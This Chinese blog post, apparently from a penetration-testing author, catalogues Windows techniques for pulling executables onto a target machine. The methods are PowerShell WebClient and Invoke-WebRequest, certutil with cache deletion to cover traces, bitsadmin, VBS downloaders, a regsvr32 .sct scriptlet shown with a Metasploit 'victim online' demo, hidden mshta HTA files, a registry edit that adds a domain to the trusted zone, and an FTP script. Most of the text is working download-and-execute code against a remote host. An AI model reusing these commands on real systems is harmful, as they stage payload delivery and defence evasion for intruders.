Window下的文件下载汇总-未完待续

####1.使用 powershell 的 Syetem.Net.WebClient 进行下载

powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe','C:\Users\31030\Desktop\tools\test\calc.exe')

####2.使用 Invoke-WebRequest 进行下载

powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")

####3.使用 certutil
注:certutil用于备份证书服务xp-win10都支持,由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

#下载文件
certutil -urlcache -split -f https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe calc3.exe
#删除缓存
certutil -urlcache -split -f https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe delete

####4.使用 bitsadmin
注:bitsadmin是一个命令行工具,可用于创建下载或上载作业并监视其进度
适用范围:“Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012,Windows 7,Windows 10”

bitsadmin /transfer n https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe C:\Users\31030\Desktop\tools\test\calc4.exe

####5.利用VBS脚本进行下载
注:将其保存为VBS脚本,可直接在CMD中进行运行。再实际运用中可以选择使用echo写入到文件中,在运行

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc5.exe"
ado.Close
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc6.exe"
ado.Close

####6.regsvr32
注:regsvr32表示Microsoft注册服务
语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]]

这里我使用msf来做个演示
msfconsole
客户端执行
regsvr32
受害机已经上线


这里来简单看一下,首先msf是启动了一个服务,并生成了一个.sct文件。并且可以看到,这个文件中使用WScript.shell 去调用了powershell下载并执行另外一段powershell命令。

所以到这里,我们也就可以通过自己构造.sct文件,去下载执行我们的程序。这里我使用的是上面VBS代码去下载的文件。当然我们也可以通过new ActiveXObject(“WScript.Shell”).Run()去执行命令或者运行程序。
sct文件如下:

<?XML version="1.0"?>
<scriptlet>
	<registration progid="Lwj8h8Cd" classid="{d27b2c13-7e63-b507-eaf0-b4fb4df40559}">
		<script language="VBScript.Encode">
			<![CDATA[ 
				Const adTypeBinary = 1
				Const adSaveCreateOverWrite = 2
				Dim http,ado
				Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
				http.SetOption 2, 13056
				http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
				http.send
				Set ado = createobject("Adodb.Stream")
				ado.Type = adTypeBinary
				ado.Open
				ado.Write http.responseBody
				ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc8.exe"
				ado.Close
				]]>
		</script>
	</registration> 
</scriptlet>

####7.mshta
mshta用于执行.hta文件。而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。
如下:

<HTML> 
<meta http-equiv="x-ua-compatible" content="text/html; charset=utf-8; IE=5">
<HEAD> 
<script language="VBScript.Encode">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc9.exe"
ado.Close
</script>
<body>
test file
</body>
</HEAD> 
</HTML>

这里我把hta文件放到博客中进行测试,mshta提示了错误,其错误原因是我们的域名并不受信任。

而Windows的受信任域名保存在注册表(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains)中,所以我们可以命令行中直接添加注册表即可

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\holdontoyourheart.github.io" /v https /t REG_DWORD /d 0x00000002 /f

可以看到在注册表中已经添加了我们的域名,并且在Internet中的受信任站点也将我们的域名显示出来。

这个时候我们在去执行一次,可以发现已经成功下载

之所以需要添加到受信任站点,才能执行下载程序的操作是因为Windows本身的安全限制所导致的。所以当我们通过VBScript去下载未信任域名中的程序的时候就会受到限制。

但是我们却可以通过不受信任的域名,使用VBS去执行命令。这里我先将注册表中的信任域名进行删除。然后利用hta文件启动计算器。这里没有任何错误提示
代码如下:

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML>

运行效果
所以到这里,我们能够通过mshta去执行命令,那么我们就可以完全不必再局限于通过VBS去进行下载了。这里我们尝试调用powershell去进行下载。
hat代码如下:

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell (Invoke-WebRequest -Uri 'https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe' -OutFile 'C:\Users\31030\Desktop\tools\test\calc10.exe')"
self.close
</script>
<body>
test
</body>
</HEAD> 
</HTML>

运行效果:(由于我没有使用hidden进行隐藏,所以在运行的时候回弹出一个powershell的界面出来)

mshta https://holdontoyourheart.github.io/2019/01/02/Nessus%E6%8A%A5%E5%91%8A%E6%B1%89%E5%8C%96%E7%AF%87%E4%BA%8C/1.hta


###8.ftp
首先我在我的win7虚拟机创建了一个ftp服务器。地址为192.168.52.128
ftp_server
然后我在物理机中执行以下命令

#首先将命令使用ehco写入到文件中
echo open 192.168.52.128  >a.txt & echo get calc.exe>>a.txt &echo bye>>a.txt

#使用ftp进行下载,可以看到已经下载成功。
ftp -A -s:a.txt


ftp命令总结参考:https://www.cnblogs.com/judes/p/9674413.html

目前就整理了这些。后续如果有新姿势会继续更新!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值